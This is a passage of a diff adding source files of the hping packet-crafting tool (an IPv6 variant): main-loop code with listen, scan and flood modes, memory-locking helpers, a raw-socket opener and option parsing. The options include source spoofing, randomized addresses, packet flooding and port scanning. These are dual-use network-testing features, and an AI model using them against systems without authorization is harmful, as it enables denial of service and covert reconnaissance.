printf("[main] can't open packet socket\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
if (open_pcap() == -1) {
|
||||||
|
printf("[main] open_pcap failed\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
#endif /* OSTYPE_LINUX && !FORCE_LIBPCAP */
|
||||||
|
|
||||||
|
/* get physical layer header size */
|
||||||
|
if (linkhdr_size == -1 && get_linkhdr_size(ifname) == -1) {
|
||||||
|
printf("[main] physical layer header size unknown (try --lhs)\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (spoofaddr[0] != '\0')
|
||||||
|
{
|
||||||
|
if(opt_ipv6)
|
||||||
|
resolve6((struct sockaddr*)&local, spoofaddr);
|
||||||
|
else
|
||||||
|
resolve((struct sockaddr*)&local, spoofaddr);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (icmp_ip_srcip[0] == '\0')
|
||||||
|
resolve((struct sockaddr*)&icmp_ip_src, "1.2.3.4");
|
||||||
|
else
|
||||||
|
resolve((struct sockaddr*)&icmp_ip_src, icmp_ip_srcip);
|
||||||
|
|
||||||
|
if (icmp_ip_dstip[0] == '\0')
|
||||||
|
resolve((struct sockaddr*)&icmp_ip_dst, "5.6.7.8");
|
||||||
|
else
|
||||||
|
resolve((struct sockaddr*)&icmp_ip_dst, icmp_ip_dstip);
|
||||||
|
|
||||||
|
if (icmp_gwip[0] == '\0')
|
||||||
|
resolve((struct sockaddr*)&icmp_gw, "0.0.0.0");
|
||||||
|
else
|
||||||
|
resolve((struct sockaddr*)&icmp_gw, icmp_gwip);
|
||||||
|
|
||||||
|
srand(time(NULL));
|
||||||
|
|
||||||
|
/* set initial source port */
|
||||||
|
if (initsport == -1)
|
||||||
|
initsport = src_port = 1024 + (rand() % 2000);
|
||||||
|
else
|
||||||
|
src_port = initsport;
|
||||||
|
|
||||||
|
for (c = 0; c < TABLESIZE; c++)
|
||||||
|
delaytable[c].seq = -1;
|
||||||
|
|
||||||
|
/* use SIGALRM to send packets like ping do */
|
||||||
|
Signal(SIGALRM, send_packet);
|
||||||
|
|
||||||
|
/* binding */
|
||||||
|
if (ctrlzbind != BIND_NONE) Signal(SIGTSTP, inc_destparm);
|
||||||
|
Signal(SIGINT, print_statistics);
|
||||||
|
Signal(SIGTERM, print_statistics);
|
||||||
|
|
||||||
|
/* if we are in listemode enter in listenmain() else */
|
||||||
|
/* print HPING... bla bla bla and enter in wait_packet() */
|
||||||
|
if (opt_listenmode) {
|
||||||
|
fprintf(stderr, "hping6 listen mode\n");
|
||||||
|
|
||||||
|
/* memory protection */
|
||||||
|
if (memlockall() == -1) {
|
||||||
|
perror("[main] memlockall()");
|
||||||
|
fprintf(stderr, "Warning: can't disable memory paging!\n");
|
||||||
|
} else if (opt_verbose || opt_debug) {
|
||||||
|
printf("Memory paging disabled\n");
|
||||||
|
}
|
||||||
|
listenmain();
|
||||||
|
/* UNREACHED */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Scan mode */
|
||||||
|
if (opt_scanmode) {
|
||||||
|
fprintf(stderr, "Scanning %s (%s), port %s\n",
|
||||||
|
targetname, targetstraddr, opt_scanports);
|
||||||
|
scanmain();
|
||||||
|
/* UNREACHED */
|
||||||
|
}
|
||||||
|
|
||||||
|
if (opt_rawipmode) {
|
||||||
|
strcat(setflags, "raw IP mode");
|
||||||
|
hdr_size = IPHDR_SIZE;
|
||||||
|
} else if (opt_icmpmode) {
|
||||||
|
strcat(setflags, "icmp mode");
|
||||||
|
hdr_size = IPHDR_SIZE + ICMPHDR_SIZE;
|
||||||
|
} else if (opt_udpmode) {
|
||||||
|
strcat(setflags, "udp mode");
|
||||||
|
hdr_size = IPHDR_SIZE + UDPHDR_SIZE;
|
||||||
|
} else {
|
||||||
|
if (tcp_th_flags & TH_RST) strcat(setflags, "R");
|
||||||
|
if (tcp_th_flags & TH_SYN) strcat(setflags, "S");
|
||||||
|
if (tcp_th_flags & TH_ACK) strcat(setflags, "A");
|
||||||
|
if (tcp_th_flags & TH_FIN) strcat(setflags, "F");
|
||||||
|
if (tcp_th_flags & TH_PUSH) strcat(setflags, "P");
|
||||||
|
if (tcp_th_flags & TH_URG) strcat(setflags, "U");
|
||||||
|
if (tcp_th_flags & TH_X) strcat(setflags, "X");
|
||||||
|
if (tcp_th_flags & TH_Y) strcat(setflags, "Y");
|
||||||
|
if (setflags[0] == '\0') strcat(setflags, "NO FLAGS are");
|
||||||
|
hdr_size = IPHDR_SIZE + TCPHDR_SIZE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(opt_ipv6)
|
||||||
|
hdr_size += IP6HDR_SIZE - IPHDR_SIZE;
|
||||||
|
|
||||||
|
printf("HPING %s (%s %s): %s set, %d headers + %d data bytes\n",
|
||||||
|
targetname,
|
||||||
|
ifname,
|
||||||
|
targetstraddr,
|
||||||
|
setflags,
|
||||||
|
hdr_size,
|
||||||
|
data_size);
|
||||||
|
|
||||||
|
/* memory protection */
|
||||||
|
if (opt_datafromfile || opt_sign) {
|
||||||
|
if (memlockall() == -1) {
|
||||||
|
perror("[main] memlockall()");
|
||||||
|
fprintf(stderr,
|
||||||
|
"Warning: can't disable memory paging!\n");
|
||||||
|
} else if (opt_verbose || opt_debug) {
|
||||||
|
printf("Memory paging disabled\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* start packet sending */
|
||||||
|
kill(getpid(), SIGALRM);
|
||||||
|
|
||||||
|
/* flood mode? */
|
||||||
|
if (opt_flood) {
|
||||||
|
fprintf(stderr,
|
||||||
|
"hping in flood mode, no replies will be shown\n");
|
||||||
|
while (1) {
|
||||||
|
send_packet(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* main loop */
|
||||||
|
while(1)
|
||||||
|
wait_packet();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
29
memlock.c
Normal file
29
memlock.c
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: memlock.c$
|
||||||
|
* $other_author: Alfonso De Gregorio <dira@speedcom.it>
|
||||||
|
* $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 2$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
int memlock(char *addr, size_t size)
|
||||||
|
{
|
||||||
|
#ifdef _POSIX_MEMLOCK_RANGE
|
||||||
|
unsigned long page_offset, page_size;
|
||||||
|
|
||||||
|
page_size = sysconf(_SC_PAGESIZE); /* also <limits.h> .. */
|
||||||
|
page_offset = (unsigned long) addr % page_size;
|
||||||
|
|
||||||
|
addr -= page_offset;
|
||||||
|
size += page_offset;
|
||||||
|
|
||||||
|
return ( mlock(addr, size) );
|
||||||
|
#endif
|
||||||
|
return (-1);
|
||||||
|
}
|
||||||
|
|
23
memlockall.c
Normal file
23
memlockall.c
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: memlockall.c$
|
||||||
|
* $other_author: Alfonso De Gregorio <dira@speedcom.it>
|
||||||
|
* $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 2$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
int memlockall(void)
|
||||||
|
{
|
||||||
|
/* #ifdef _POSIX_MEMLOCK */
|
||||||
|
/* NJ: better to test _POSIX_MEMLOCK value */
|
||||||
|
#if _POSIX_MEMLOCK == 1
|
||||||
|
return ( mlockall(MCL_CURRENT|MCL_FUTURE) );
|
||||||
|
#endif
|
||||||
|
return (-1);
|
||||||
|
}
|
||||||
|
|
25
memstr.c
Normal file
25
memstr.c
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: memstr.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 4$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h> /* NULL macro */
|
||||||
|
|
||||||
|
char *memstr(char *haystack, char *needle, int size)
|
||||||
|
{
|
||||||
|
char *p;
|
||||||
|
char needlesize = strlen(needle);
|
||||||
|
|
||||||
|
for (p = haystack; p <= (haystack-needlesize+size); p++)
|
||||||
|
{
|
||||||
|
if (memcmp(p, needle, needlesize) == 0)
|
||||||
|
return p; /* found */
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
28
memunlock.c
Normal file
28
memunlock.c
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: memunlock.c$
|
||||||
|
* $other_author: Alfonso De Gregorio <dira@speedcom.it>
|
||||||
|
* $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 2$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
int memunlock(char *addr, size_t size)
|
||||||
|
{
|
||||||
|
#ifdef _POSIX_MEMLOCK_RANGE
|
||||||
|
unsigned long page_offset, page_size;
|
||||||
|
|
||||||
|
page_size = sysconf(_SC_PAGESIZE);
|
||||||
|
page_offset = (unsigned long) addr % page_size;
|
||||||
|
|
||||||
|
addr -= page_offset;
|
||||||
|
size += page_offset;
|
||||||
|
|
||||||
|
return ( munlock(addr, size) );
|
||||||
|
#endif
|
||||||
|
return (-1);
|
||||||
|
}
|
23
memunlockall.c
Normal file
23
memunlockall.c
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: memunlockall.c$
|
||||||
|
* $other_author: Alfonso De Gregorio <dira@speedcom.it>
|
||||||
|
* $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 2$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
int memunlockall(void)
|
||||||
|
{
|
||||||
|
/* #ifdef _POSIX_MEMLOCK */
|
||||||
|
/* NJ: better to test _POSIX_MEMLOCK value */
|
||||||
|
#if _POSIX_MEMLOCK == 1
|
||||||
|
return ( munlockall() );
|
||||||
|
#endif
|
||||||
|
return(-1);
|
||||||
|
}
|
||||||
|
|
29
opensockraw.c
Normal file
29
opensockraw.c
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: opensockraw.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h> /* IPPROTO_RAW def. */
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
int open_sockraw()
|
||||||
|
{
|
||||||
|
int s;
|
||||||
|
|
||||||
|
s = socket(opt_af, SOCK_RAW, IPPROTO_RAW);
|
||||||
|
if (s == -1) {
|
||||||
|
perror("[open_sockraw] socket()");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return s;
|
||||||
|
}
|
719
parseoptions.c
Normal file
719
parseoptions.c
Normal file
@ -0,0 +1,719 @@
|
|||||||
|
/* parseoptions.c -- options handling
|
||||||
|
* Copyright(C) 1999-2001 Salvatore Sanfilippo
|
||||||
|
* Under GPL, see the COPYING file for more information about
|
||||||
|
* the license. */
|
||||||
|
|
||||||
|
/* $Id: parseoptions.c,v 1.25 2003/08/08 14:39:00 antirez Exp $ */
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <ctype.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include "antigetopt.h"
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
enum { OPT_COUNT, OPT_INTERVAL, OPT_NUMERIC, OPT_QUIET, OPT_INTERFACE,
|
||||||
|
OPT_HELP, OPT_VERSION, OPT_DESTPORT, OPT_BASEPORT, OPT_TTL, OPT_ID,
|
||||||
|
OPT_WIN, OPT_SPOOF, OPT_FIN, OPT_SYN, OPT_RST, OPT_PUSH, OPT_ACK,
|
||||||
|
OPT_URG, OPT_XMAS, OPT_YMAS, OPT_FRAG, OPT_MOREFRAG, OPT_DONTFRAG,
|
||||||
|
OPT_FRAGOFF, OPT_TCPOFF, OPT_REL, OPT_DATA, OPT_RAWIP, OPT_ICMP,
|
||||||
|
OPT_UDP, OPT_BIND, OPT_UNBIND, OPT_DEBUG, OPT_VERBOSE, OPT_WINID,
|
||||||
|
OPT_KEEP, OPT_FILE, OPT_DUMP, OPT_PRINT, OPT_SIGN, OPT_LISTEN,
|
||||||
|
OPT_SAFE, OPT_TRACEROUTE, OPT_TOS, OPT_MTU, OPT_SEQNUM, OPT_BADCKSUM,
|
||||||
|
OPT_SETSEQ, OPT_SETACK, OPT_ICMPTYPE, OPT_ICMPCODE, OPT_END,
|
||||||
|
OPT_RROUTE, OPT_IPPROTO, OPT_ICMP_IPVER, OPT_ICMP_IPHLEN,
|
||||||
|
OPT_ICMP_IPLEN, OPT_ICMP_IPID, OPT_ICMP_IPPROTO, OPT_ICMP_CKSUM,
|
||||||
|
OPT_ICMP_TS, OPT_ICMP_ADDR, OPT_TCPEXITCODE, OPT_FAST, OPT_TR_KEEP_TTL,
|
||||||
|
OPT_TCP_TIMESTAMP, OPT_TR_STOP, OPT_TR_NO_RTT, OPT_ICMP_HELP,
|
||||||
|
OPT_RAND_DEST, OPT_RAND_SOURCE, OPT_LSRR, OPT_SSRR, OPT_ROUTE_HELP,
|
||||||
|
OPT_ICMP_IPSRC, OPT_ICMP_IPDST, OPT_ICMP_SRCPORT, OPT_ICMP_DSTPORT,
|
||||||
|
OPT_ICMP_GW, OPT_FORCE_ICMP, OPT_APD_SEND, OPT_SCAN, OPT_FASTER,
|
||||||
|
OPT_BPS, OPT_PPS, OPT_IPV6, OPT_LHS ,OPT_FLOOD };
|
||||||
|
|
||||||
|
static struct ago_optlist hping_optlist[] = {
|
||||||
|
{ 'c', "count", OPT_COUNT, AGO_NEEDARG },
|
||||||
|
{ 'i', "interval", OPT_INTERVAL, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'n', "numeric", OPT_NUMERIC, AGO_NOARG },
|
||||||
|
{ 'q', "quiet", OPT_QUIET, AGO_NOARG },
|
||||||
|
{ 'I', "interface", OPT_INTERFACE, AGO_NEEDARG },
|
||||||
|
{ 'h', "help", OPT_HELP, AGO_NOARG },
|
||||||
|
{ 'v', "version", OPT_VERSION, AGO_NOARG },
|
||||||
|
{ 'p', "destport", OPT_DESTPORT, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 's', "baseport", OPT_BASEPORT, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 't', "ttl", OPT_TTL, AGO_NEEDARG },
|
||||||
|
{ 'N', "id", OPT_ID, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'w', "win", OPT_WIN, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'a', "spoof", OPT_SPOOF, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'F', "fin", OPT_FIN, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'S', "syn", OPT_SYN, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'R', "rst", OPT_RST, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'P', "push", OPT_PUSH, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'A', "ack", OPT_ACK, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'U', "urg", OPT_URG, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'X', "xmas", OPT_XMAS, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'Y', "ymas", OPT_YMAS, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'f', "frag", OPT_FRAG, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'x', "morefrag", OPT_MOREFRAG, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'y', "dontfrag", OPT_DONTFRAG, AGO_NOARG },
|
||||||
|
{ 'g', "fragoff", OPT_FRAGOFF, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'O', "tcpoff", OPT_TCPOFF, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'r', "rel", OPT_REL, AGO_NOARG },
|
||||||
|
{ 'd', "data", OPT_DATA, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '0', "rawip", OPT_RAWIP, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ '1', "icmp", OPT_ICMP, AGO_NOARG },
|
||||||
|
{ '2', "udp", OPT_UDP, AGO_NOARG },
|
||||||
|
{ '8', "scan", OPT_SCAN, AGO_NEEDARG },
|
||||||
|
{ 'z', "bind", OPT_BIND, AGO_NOARG },
|
||||||
|
{ 'Z', "unbind", OPT_UNBIND, AGO_NOARG },
|
||||||
|
{ 'D', "debug", OPT_DEBUG, AGO_NOARG },
|
||||||
|
{ 'V', "verbose", OPT_VERBOSE, AGO_NOARG },
|
||||||
|
{ 'W', "winid", OPT_WINID, AGO_NOARG },
|
||||||
|
{ 'k', "keep", OPT_KEEP, AGO_NOARG },
|
||||||
|
{ 'E', "file", OPT_FILE, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'j', "dump", OPT_DUMP, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'J', "print", OPT_PRINT, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'e', "sign", OPT_SIGN, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '9', "listen", OPT_LISTEN, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'B', "safe", OPT_SAFE, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'T', "traceroute", OPT_TRACEROUTE, AGO_NOARG },
|
||||||
|
{ 'o', "tos", OPT_TOS, AGO_NEEDARG },
|
||||||
|
{ 'm', "mtu", OPT_MTU, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'Q', "seqnum", OPT_SEQNUM, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'b', "badcksum", OPT_BADCKSUM, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'M', "setseq", OPT_SETSEQ, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'L', "setack", OPT_SETACK, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'C', "icmptype", OPT_ICMPTYPE, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'K', "icmpcode", OPT_ICMPCODE, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ 'u', "end", OPT_END, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ 'G', "rroute", OPT_RROUTE, AGO_NOARG },
|
||||||
|
{ 'H', "ipproto", OPT_IPPROTO, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-help", OPT_ICMP_HELP, AGO_NOARG },
|
||||||
|
{ '\0', "icmp-ipver", OPT_ICMP_IPVER, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-iphlen", OPT_ICMP_IPHLEN, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-iplen", OPT_ICMP_IPLEN, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-ipid", OPT_ICMP_IPID, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-ipproto", OPT_ICMP_IPPROTO, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-cksum", OPT_ICMP_CKSUM, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-ts", OPT_ICMP_TS, AGO_NOARG },
|
||||||
|
{ '\0', "icmp-addr", OPT_ICMP_ADDR, AGO_NOARG },
|
||||||
|
{ '\0', "tcpexitcode", OPT_TCPEXITCODE, AGO_NOARG },
|
||||||
|
{ '\0', "fast", OPT_FAST, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "faster", OPT_FASTER, AGO_NOARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "tr-keep-ttl", OPT_TR_KEEP_TTL, AGO_NOARG },
|
||||||
|
{ '\0', "tcp-timestamp",OPT_TCP_TIMESTAMP, AGO_NOARG },
|
||||||
|
{ '\0', "tr-stop", OPT_TR_STOP, AGO_NOARG },
|
||||||
|
{ '\0', "tr-no-rtt", OPT_TR_NO_RTT, AGO_NOARG },
|
||||||
|
{ '\0', "rand-dest", OPT_RAND_DEST, AGO_NOARG },
|
||||||
|
{ '\0', "rand-source", OPT_RAND_SOURCE, AGO_NOARG },
|
||||||
|
{ '\0', "lsrr", OPT_LSRR, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "ssrr", OPT_SSRR, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "route-help", OPT_ROUTE_HELP, AGO_NOARG },
|
||||||
|
{ '\0', "apd-send", OPT_APD_SEND, AGO_NEEDARG },
|
||||||
|
{ '\0', "icmp-ipsrc", OPT_ICMP_IPSRC, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-ipdst", OPT_ICMP_IPDST, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-gw", OPT_ICMP_GW, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-srcport", OPT_ICMP_SRCPORT, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "icmp-dstport", OPT_ICMP_DSTPORT, AGO_NEEDARG|AGO_EXCEPT0 },
|
||||||
|
{ '\0', "force-icmp", OPT_FORCE_ICMP, AGO_NOARG },
|
||||||
|
{ '\0', "bps", OPT_BPS, AGO_NEEDARG },
|
||||||
|
{ '\0', "pps", OPT_PPS, AGO_NEEDARG },
|
||||||
|
{ '6', "ipv6", OPT_IPV6, AGO_NOARG },
|
||||||
|
{ '\0', "lhs", OPT_LHS, AGO_NEEDARG },
|
||||||
|
{ '\0', "flood", OPT_FLOOD, AGO_NOARG },
|
||||||
|
AGO_LIST_TERM
|
||||||
|
};
|
||||||
|
|
||||||
|
/* The following var is turned to 1 if the -i option is used.
|
||||||
|
* This allows to assign a different delay default value if
|
||||||
|
* the scanning mode is selected. */
|
||||||
|
static int delay_changed = 0;
|
||||||
|
|
||||||
|
static int suidtester(void)
|
||||||
|
{
|
||||||
|
return (getuid() != geteuid());
|
||||||
|
}
|
||||||
|
|
||||||
|
void fail_parse_route(void)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "RECTUM\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void parse_route(unsigned char *route, unsigned int *route_len, char *str)
|
||||||
|
{
|
||||||
|
struct in_addr ip;
|
||||||
|
unsigned int i = 0;
|
||||||
|
unsigned int j;
|
||||||
|
unsigned int n = 0;
|
||||||
|
unsigned int route_ptr = 256;
|
||||||
|
char c;
|
||||||
|
|
||||||
|
route += 3;
|
||||||
|
while (str[i] != '\0')
|
||||||
|
{
|
||||||
|
for (j = i; isalnum(str[j]) || str[j] == '.'; j++);
|
||||||
|
switch(c = str[j])
|
||||||
|
{
|
||||||
|
case '\0':
|
||||||
|
case '/':
|
||||||
|
if (n >= 62)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "too long route\n");
|
||||||
|
fail_parse_route();
|
||||||
|
}
|
||||||
|
str[j] = '\0';
|
||||||
|
if (inet_aton(str+i, &ip))
|
||||||
|
{
|
||||||
|
memcpy(route+4*n, &ip.s_addr, 4);
|
||||||
|
n++;
|
||||||
|
if (c == '/')
|
||||||
|
str[j++] = '/';
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
fprintf(stderr, "invalid IP adress in route\n");
|
||||||
|
fail_parse_route();
|
||||||
|
case ':':
|
||||||
|
if ((!i) && j && j < 4)
|
||||||
|
{
|
||||||
|
sscanf(str, "%u:%n", &route_ptr, &i);
|
||||||
|
if (i == ++j)
|
||||||
|
{
|
||||||
|
if (route_ptr < 256)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
fail_parse_route();
|
||||||
|
}
|
||||||
|
i = j;
|
||||||
|
}
|
||||||
|
if (route_ptr == 256)
|
||||||
|
route[-1] = (unsigned char) ( n ? 8 : 4 );
|
||||||
|
else
|
||||||
|
route[-1] = (unsigned char) route_ptr;
|
||||||
|
*route_len = 4*n + 3;
|
||||||
|
route[-2] = (unsigned char) *route_len;
|
||||||
|
}
|
||||||
|
|
||||||
|
int parse_options(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int src_ttl_set = 0;
|
||||||
|
int targethost_set = 0;
|
||||||
|
int o;
|
||||||
|
char *mult;
|
||||||
|
int typeset = 0;
|
||||||
|
|
||||||
|
if (argc < 2)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
ago_set_exception(0, suidtester, "Option disabled when setuid");
|
||||||
|
|
||||||
|
while ((o = antigetopt(argc, argv, hping_optlist)) != AGO_EOF) {
|
||||||
|
switch(o) {
|
||||||
|
case AGO_UNKNOWN:
|
||||||
|
case AGO_REQARG:
|
||||||
|
case AGO_AMBIG:
|
||||||
|
ago_gnu_error("hping", o);
|
||||||
|
fprintf(stderr, "Try hping --help\n");
|
||||||
|
exit(1);
|
||||||
|
case AGO_ALONE:
|
||||||
|
if (targethost_set == 1) {
|
||||||
|
fprintf(stderr, "hping: you must specify only "
|
||||||
|
"one target host at a time\n");
|
||||||
|
exit(1);
|
||||||
|
} else {
|
||||||
|
strlcpy(targetname, ago_optarg, 1024);
|
||||||
|
targethost_set = 1;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case OPT_COUNT:
|
||||||
|
count = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_INTERVAL:
|
||||||
|
delay_changed = 1;
|
||||||
|
if (*ago_optarg == 'u') {
|
||||||
|
opt_waitinusec = TRUE;
|
||||||
|
usec_delay.it_value.tv_sec =
|
||||||
|
usec_delay.it_interval.tv_sec = 0;
|
||||||
|
usec_delay.it_value.tv_usec =
|
||||||
|
usec_delay.it_interval.tv_usec =
|
||||||
|
atol(ago_optarg+1);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
sending_wait = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_NUMERIC:
|
||||||
|
opt_numeric = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_QUIET:
|
||||||
|
opt_quiet = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_INTERFACE:
|
||||||
|
strlcpy (ifname, ago_optarg, 1024);
|
||||||
|
break;
|
||||||
|
case OPT_HELP:
|
||||||
|
show_usage();
|
||||||
|
break;
|
||||||
|
case OPT_VERSION:
|
||||||
|
show_version();
|
||||||
|
break;
|
||||||
|
case OPT_DESTPORT:
|
||||||
|
if (*ago_optarg == '+')
|
||||||
|
{
|
||||||
|
opt_incdport = TRUE;
|
||||||
|
ago_optarg++;
|
||||||
|
}
|
||||||
|
if (*ago_optarg == '+')
|
||||||
|
{
|
||||||
|
opt_force_incdport = TRUE;
|
||||||
|
ago_optarg++;
|
||||||
|
}
|
||||||
|
base_dst_port = dst_port = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_BASEPORT:
|
||||||
|
initsport = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_TTL:
|
||||||
|
src_ttl = strtol(ago_optarg, NULL, 0);
|
||||||
|
src_ttl_set = 1;
|
||||||
|
break;
|
||||||
|
case OPT_ID:
|
||||||
|
